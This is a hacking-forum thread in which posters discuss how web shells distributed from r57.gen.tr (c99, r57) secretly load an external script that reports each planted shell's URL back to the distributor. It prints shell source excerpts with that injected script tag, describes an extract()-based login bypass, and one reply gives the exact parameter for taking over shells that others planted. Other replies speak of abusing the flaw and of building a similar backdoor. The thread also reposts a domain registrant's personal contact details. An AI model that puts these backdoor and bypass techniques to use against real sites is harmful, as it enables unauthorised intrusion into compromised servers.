

Forum:[Hack Forums](#)

Thread: [\[SHARE:\]>_www.r57.gen.tr_\[/SHELLS ARE ALL BACKDOORED IN A WAY U MIGHT NOT GUESS\]](#)

mObile - December 27, 2013, 11:09 pm



TL;DR all shells from <http://www.r57.gen.tr> are backdoored, shockingly. But in a pretty clever way you probably didn't expect. You know sometimes when I find things in security that are probably unethical, I'm more impressed than morally distressed.

I decided to poke around some of the online sources for the typical shells (c99, r57, etc) and after a quick search:



I've got all the shells I'd ever need!

Or do I? Let's check out this first site shall we?





C99 is probably the more famous one, so let's take a look at it!

Spoiler ([Click to View](#))

PHP Code

<?php

```
mandatory@mandatorys-box:~/Pentest/c99$ grep --color -n "https://" c99.php
```

```
79:if ($surl_autofill_include and !$_REQUEST["c99sh_surl"]) {$include = "&"; foreach (explode("&",
getenv("QUERY_STRING")) as $v) {$v = explode("=", $v); $name = urldecode($v[0]); $value =
urldecode($v[1]); foreach (array("http://", "https://", "ssl://", "ftp://", "\\\\") as $needle) {if (strpos($value,
$needle) === 0) {$includestr .= urlencode($name). "=" . urlencode($value). "&";}} if ($_REQUEST[
"surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}}
```

```
1706: if ((!ereg("http://", $uploadurl)) and (!ereg("https://", $uploadurl)) and (!ereg("ftp://", $uploadurl
))) {echo "<b>Incorrect url!</b><br>";}
```

```
mandatory@mandatorys-box:~/Pentest/c99$ grep --color -n "http://" c99.php
```

```
11: http://ccteam.ru/releases/c99shell
```

```
13:* WEB: http://ccteam.ru
```

```
79:if ($surl_autofill_include and !$_REQUEST["c99sh_surl"]) {$include = "&"; foreach (explode("&",
getenv("QUERY_STRING")) as $v) {$v = explode("=", $v); $name = urldecode($v[0]); $value =
urldecode($v[1]); foreach (array("http://", "https://", "ssl://", "ftp://", "\\\\") as $needle) {if (strpos($value,
$needle) === 0) {$includestr .= urlencode($name). "=" . urlencode($value). "&";}} if ($_REQUEST[
"surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}}
```

```
99:$accessdeniedmess = "<a href=\"http://ccteam.ru/releases/c99shell\">c99shell v.\".$shver.  
\"</a>: access denied";
```

```
103:$c99sh_updateurl = "http://ccteam.ru/releases/update/c99shell/"; //Update server
```

```
259:if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv(  
"REMOTE_ADDR")))) {exit(  
"<a href=\"http://ccteam.ru/releases/cc99shell\">c99shell</a>: Access Denied - your host (" .getenv(  
"REMOTE_ADDR").") not allow");}
```

```
599:# Home page: http://ccteam.ru
```

```
855:??>
```

```
<html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><meta  
http-equiv="Content-Language" content="en-us"><title><?php echo getenv("HTTP_HOST"); ?>  
- c99shell</title><STYLE>TD { FONT-SIZE: 8pt; COLOR: #ebebeb; FONT-FAMILY: verdana;}BOD  
Y { scrollbar-face-color: #800; scrollbar-shadow-color: #101010; scrollbar-highlight-color: #101010; s  
crollbar-3dlight-color: #101010; scrollbar-darkshadow-color: #101010; scrollbar-track-color: #101010  
; scrollbar-arrow-color: #101010; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-  
SIZE: 10pt; BACKGROUND: #7d7474; COLOR: white; FONT-FAMILY: verdana;}A { FONT-WEIGH  
T: normal; COLOR: #dadada; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A:unknown { F  
ONT-WEIGHT: normal; COLOR: #ff; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A:Links  
{ COLOR: #ff; TEXT-DECORATION: none;}A:Links:unknown { FONT-WEIGHT: normal; COLOR: #ff  
; TEXT-DECORATION: none;}A:hover { COLOR: #ff; TEXT-DECORATION: underline;}.skin0{positio  
n:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-h  
eight:20px; cursor:default; visibility:hidden;}.skin1{cursor: default; font: menutext; position: absolute;  
width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset  
buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.menuitems{paddin  
g-left:15px; padding-right:10px;}.input{background-color: #800; font-size: 8pt; color: white; font-famil  
y: Tahoma; border: 1 solid #66;}.textarea{background-color: #800; font-size: 8pt; color: white; font-fa  
mily: Tahoma; border: 1 solid #66;}.button{background-color: #800; font-size: 8pt; color: white; font-fa  
mily: Tahoma; border: 1 solid #66;}.select{background-color: #800; font-size: 8pt; color: white; font-fa  
mily: Tahoma; border: 1 solid #66;}.option {background-color: #800; font-size: 8pt; color: white; font-f  
amily: Tahoma; border: 1 solid #66;}.iframe {background-color: #800; font-size: 8pt; color: white; font-  
family: Tahoma; border: 1 solid #66;}.p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT  
: 150%}.blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #A9A9A9; pad  
ding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-  
color: #B7B2B0;}.body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}.body { backgroun  
d-color: black;}</style></head><SCRIPT SRC=http://www.r57.gen.tr/yazciz/ciz.js></SCRIPT><BOD  
Y text=#ff bottomMargin=0 bgColor=black leftMargin=0 topMargin=0 rightMargin=0 marginheight=0  
marginwidth=0><center><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 b  
orderColorDark=#66 cellPadding=5 width="100%" bgColor=#33 borderColorLight=#c0c0c0 border=  
1 bordercolor="#C0C0C0"><tr><th width="101%" height="15" nowrap bordercolor="#C0C0C0" valig  
n="top" colspan="2"><p><font face=Webdings size=6><b>!</b></font><a href="<?php echo $surl;  
?>"><font face="Verdana" size="5"><b>C99Shell v. <?php echo $shver; ?>  
</b></font></a><font face=Webdings size=6><b>!</b></font></p></center></th></tr><tr><td><p ali  
gn="left"><b>Software:&nbsp;<?php echo $DISP_SERVER_SOFTWARE; ?>  
</b>&nbsp;</p><p align="left"><b>uname -a:&nbsp;<?php echo wordwrap/php_uname(),90,"<br>",  
1); ?></b>&nbsp;</p><p align="left"><b><?php if (!$win) {echo wordwrap(myshellexec("id"),90,  
"<br>",1);} else {echo get_current_user();} ?></b>&nbsp;</p><p align="left"><b>Safe-mode:&nbsp;<?php  
<?php echo $hsafemode; ?></b></p><p align="left"><?php  
1706: if ((!ereg("http://",$uploadurl)) and (!ereg("https://",$uploadurl)) and (!ereg("ftp://",$uploadurl  
))) {echo "<b>Incorect url!</b><br>";}
```

```
2912:if ($act == "about") {echo
```

```
"<center><b>Credits:<br>Idea, leading and coding by tristram[CCTeaM].<br>Beta-testing and some  
tips - NukLeON [AnTiSh@Re tEaM].<br>Thanks all who report bugs.<br>All bugs send to tristram's  
ICQ #656555 <a href=\"http://www.icq.com/scripts/contact.dll?msgto=656555\"><img src=\"http://ww  
p.icq.com/scripts/online.dll?icq=656555&img=5\" border=0 align=absmiddle></a>.</b>";}
```

```
2926:<br><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark  
=  
#66 cellPadding=0 width="100%" bgColor=#33 borderColorLight=#c0c0c0 border=1><tr><td width=  
"990" height="1" valign="top"><p align="center"><b>--[ c99shell v. <?php echo $shver; ?> <a href="<br>  
<?php echo $surl; ?>  
act=about"><u><b>powered by</b></u></a> Captain Crunch Security Team | <a href="http://r57.ge  
n.tr"><font color="#FF0000">r57 shell</font></a><font color="#FF0000"></font> | Generation time:  
<?php echo round(getmicrotime()-starttime,4); ?> ]--</b></p></td></tr></table>
```

```
mandatory@mandatorys-box:~/Pentest/c99$
```

Now immediately everyone's first thought is to check the PHP itself for clever backdoors. After all, this is a backdoor shell so why wouldn't it be a backdoored backdoor shell (bleh).

But notice this section:

PHP Code

```
<?php  
<SCRIPT SRC=http://www.r57.gen.tr/yazciz/ciz.js></SCRIPT>
```

Hmm, what's the source for that page?

[img]http://thehackerblog.com/wp-content/uploads/2013/12/Selection_006.png[/img]

Ho-ho-ho that's a little suspicious, so it's making an image with the source being <http://www.r57.gen.tr/yaz/yaz.php?a> plus our current URL?

Naughty naughty, navigating to this URL we find:

[img]http://thehackerblog.com/wp-content/uploads/2013/12/Selection_005.png[/img]

Oh a blank page, that's probably nothing at all! Or...just maybe...they are capturing IP addresses to alert the website owners or steal the shells for themselves (far more likely).

I'm willing to bet there is a PHP auth-bypass in the code as well...

Auth Bypass Exploit:

Notice this piece of code here:

[img]http://thehackerblog.com/wp-content/uploads/2013/12/Selection_009.png[/img]

Found this after diffing this c99 shell against other online copies. For those not familiar, extract() is a VERY dangerous command to use. Basically you pass it an array and it extracts the values into

[This example from the official PHP site says it all:](#)

PHP Code

```
<?php
```

```
/* Suppose that $var_array is an array returned from  
wddx_deserialize */
```

```
$size = "large";  
$var_array = array("color" => "blue",  
    "size" => "medium",  
    "shape" => "sphere");  
extract($var_array, EXTR_PREFIX_SAME, "wddx");  
  
echo "$color, $size, $shape, $wddx_size\n";
```

?>

Now immediately everyone's first thought is to check the PHP itself for clever backdoors. After all, this is a backdoor shell so why wouldn't it be a backdoored backdoor shell (bleh).

But notice this section:

Guess what is right after that line?

[img]http://thehackerblog.com/wp-content/uploads/2013/12/Selection_0101.png[/img]

So one could very easily over right \$login, \$md5_pass, etc to override the login.

EDIT: This same JS link is in all of the shells on the site. See r57.php:

PHP Code

```
<?php  
74 $head = '[b]<!--[/b] ?? ???? -->  
75 <html>  
76 <head>  
77 <SCRIPT SRC=http://www.r57.gen.tr/yazciz/ciz.js></SCRIPT>  
78 <meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
```

The moral of this lesson is obvious but I'm more entertained by the fact that they went with a JS backdoor. Who would check the Javascript for backdoors? It's the perfect crime! The domain is apparently Turkish and has been registered for sometime, so I can't imagine the amount of bad shells have been distributed.

PHP Code

```
<?php  
** Registrant:  
    Ýsmail Kalaylı  
    Gulbahar Mah. Gayret Sk. No:21 K:1  
    Mecidiyekoy  
    Ýstanbul,  
    Türkiye  
    Email Masking Image@natro.com  
    + 90-212-3564407  
    +
```

** Registrar:

NIC Handle : cth16-metu
Organization Name : Çizgi Telekomünikasyon Hizmetleri San. ve Tic.Ltd.Þti.

Address : Esentepe Mah. Elif Sk. No:4 K:1
Mecidiyeköy / Beşiktaş
İstanbul,34390
Türkiye
Phone : + 90-212-2131213-
Fax : + 90-212-3564407

** Domain Servers:

ns1.teenficken.com

ns2.teenficken.com

** Additional Info:

Created on..: 2008-Oct-22.

Expires on..: 2015-Oct-21.

But let's be honest, somebody has to have noticed this right...?

[img]http://thehackerblog.com/wp-content/uploads/2013/12/Selection_008.png[/img]

Or maybe nobody actually falls for this...?

[img]http://thehackerblog.com/wp-content/uploads/2013/12/Selection_007.png[/img]

Which isn't even the source but copied from

http://www.computersecuritystudent.com/SECURITY_TOOLS/MUTILLIDAE/MUTILLIDAE_2511/leson11/

For archiving reasons I'll keep the source here to show the current backdoor in case it's changed:

<http://pastebin.com/LCDrr0e8>

EDIT: I now have a moral dilemma because I'm sure people will abuse this exploit to break into more sites...Hmm...

View [Source](#) <<--

Hidden™ - December 27, 2013, 11:11 pm

Wow, this is crazy. I would have never thought.

Mash22 - December 27, 2013, 11:19 pm

Help me out here.. By saying people can abuse this, you mean people can access the shells that other people planted?

Rap!st - December 27, 2013, 11:30 pm

In my opinion someone would teach their website a lesson for this pathetic attempt of them.

Nice you shared this with us, thanks buddy!

Rapist?

rm -rf -R system32 - December 28, 2013, 1:21 am

Can I please buy your time travel machine? Cause if you posted this today and it's yours

BUT also posted it on the 24th

<http://thehackerblog.com/hacking-script-kiddies-r57-gen-tr-shells-are-backdoored-in-a-way-you-probably-wouldnt-guess/>

and then its been spread since then

Crysan - December 28, 2013, 2:30 am

(Dec 28, 2013 02:21 AM)rm -rf -R system32 Wrote: [\[CITE\]](#) Can I please buy your time travel machine? Cause if you posted this today and It's yours

BUT also posted it on the 24th

<http://thehackerblog.com/hacking-script-kiddies-r57-gen-tr-shells-are-backdoored-in-a-way-you-probably-wouldnt-guess/>

and then its been spread since then

So OP, give credits next time?

cheatson - December 28, 2013, 10:17 am

Lol, always check your shells for anything that is requested externally!

To exploit this, just pass another variable at login with tamper data:

PHP Code

<?php

&c99shcook[login]=0

And presto!

Thanks op for posting it

Crysan - December 28, 2013, 12:41 pm

(Dec 28, 2013 09:27 AM)m0bi13_xT™ Wrote: [\[CITE\]](#) Quit trolling!!!

I never claimed that this information was originally posted by me, if you read the title of this thread you would see the word [SHARE] <--which means it was shared information . ???

And if you would of looked at the bottom of the OP you would of seen "View Source <---" by clicking on view source you will see where i read this article. ???

I think this is an awesome idea, so I started to make my own js backdoor. =)

EDIT: I made the View Source <--- bigger for the blind trolls to see. ?

You should recognize sarcasm dude. roly eyes

Hexag0ne - December 29, 2013, 4:24 am

(Dec 28, 2013 01:41 PM)Crysan Wrote: [\[CITE\]](#) You should recognize sarkasm dude. *roly eyes* That "sarkasm" though.

Ontopic, Thanks for this share op. Its good that I dont use those shells lol.

The Judge - December 29, 2013, 4:31 am

Hey thanks OP for the heads up dude.

Crysan - December 29, 2013, 8:03 am

(Dec 29, 2013 05:24 AM)Hexag0ne Wrote: [\[CITE\]](#) That "sarkasm" though.
Ontopic, Thanks for this share op. Its good that I dont use those shells lol.
Uh misspelled it omg!
The end of the world is near, prepare yourselves!

Hexag0ne - December 29, 2013, 8:07 am

(Dec 29, 2013 09:03 AM)Crysan Wrote: [\[CITE\]](#) Uh misspelled it omg!
The end of the world is near, prepare yourselves!
Uh, misspelled it, oh my god!
The end of the world is near, prepare yourselves!*

^^

Crysan - December 29, 2013, 8:14 am

(Dec 29, 2013 09:07 AM)Hexag0ne Wrote: [\[CITE\]](#) Uh, misspelled it, oh my god!
The end of the world is near, prepare yourselves!*

^^

Haha yeah, I'm German we have similar words.
Like "Sarkasmus" - "Sarcasm"

I'm allowed to misspell words as I learn 3 languages atm. (Russian, English, French) ?

So, I don't care ?

Hexag0ne - December 29, 2013, 8:17 am

(Dec 29, 2013 09:14 AM)Crysan Wrote: [\[CITE\]](#) Haha yeah, I'm german we have similar words.
Like "Sarkasmus" - "Sarcasm"

Im allowed to misspell words as I learn 3 languages atm. (Russian, English, French) ?

So, I dont care ?

Okay..?

I just like correcting grammatical errors, and english isnt my main language too.

Anyway:

similar words*

as I am learning*

. at the end of the second and last sentence.

Grammar much? ^^

Crysan - December 29, 2013, 8:18 am

(Dec 29, 2013 09:17 AM)Hexag0ne Wrote: [\[CITE\]](#) Okay..?
I just like correcting grammatical errors, and english isnt my main language too.
Anyway:

similar words*

as I am learning*

. at the end of the second and last sentence.

Grammar much? ^^

Lol? This looks really different then what I've posted?

as I am learning* -> okay?

. at the end of the second and last sentence. -> I dont need to because it is Hackforums.

I can scribe how I be needin' because I dont care what people think 'bout me

cheatson - December 29, 2013, 8:21 am

(Dec 29, 2013 09:17 AM)Hexag0ne Wrote: [\[CITE\]](#) Okay..?

I just like correcting grammatical errors, and english isnt my main language too.

Anyway:

similar words*

as I am learning*

. at the end of the second and last sentence.

Grammar much? ^^Never fear, I is here. English is my first language, so I can help you spell 'English' with a capital 'E', 'isn't' with an apostrophe- so you see, no need to flee, unless you need a pee.

Hexag0ne - December 29, 2013, 8:22 am

(Dec 29, 2013 09:18 AM)Crysan Wrote: [\[CITE\]](#) Lol? This looks really different then what I've posted?

as I am learning* -> okay?

. at the end of the second and last sentence. -> I dont need to because it is Hackforums.

Haha, just never mind. You seem like a good folk, I dont want to start an argument :p.

PM me if you want to fix your grammar abit ;D

EDIT:

(Dec 29, 2013 09:21 AM)cheatson Wrote: [\[CITE\]](#) Never fear, I is here. English is my first language, so I can help you spell 'English' with a capital 'E', 'isn't' with an apostrophe- so you see, no need to flee, unless you need a pee.

I love you sir, have my babies please.

I see that not everybody has caught the bad grammar desease. ^^

John Rogers - December 29, 2013, 10:02 am

(Dec 29, 2013 09:21 AM)cheatson Wrote: [\[CITE\]](#) Never fear, I is here.

[Video: http://www.youtube.com/watch?v=kV_i8AefT8I]

yes.

OP, stop making threads.

(Dec 29, 2013 09:22 AM)Hexag0ne Wrote: [\[CITE\]](#) I love you sir, have my babies please.

I see that not everybody has caught the bad grammar desease. ^^

It seems you have, though.

Disease.*

locco. - December 30, 2013, 2:54 pm

ou this was showed off in 2010-2011 I think,

yaz.php file was a big list with shells and it was published by someone..

anyway it's good to tell others..

mahmudul006 - January 15, 2015, 9:16 pm

is it really ?

thanks in advance..

vendettalogzz - February 16, 2015, 8:04 am

wow...what a grave dig

There are newer posts on this

haxedsh1t - February 16, 2015, 10:05 am

Woa, that's why you should always check for external includes. Even if it is not hostile at the current point, external sources can always change

Mimix - February 16, 2015, 9:33 pm

btw what ide to use and what template, look cool would be good to know?

Flower94 - February 17, 2015, 5:53 pm

Thanks this has been very informative anyone know where I can get guaranteed free shells, I might even be willing to pay a small sum.

xx 0x0 xx - February 17, 2015, 6:04 pm

great share from u brother always u come with nice Op's

this really can help alot of us thanks again and keep up your good work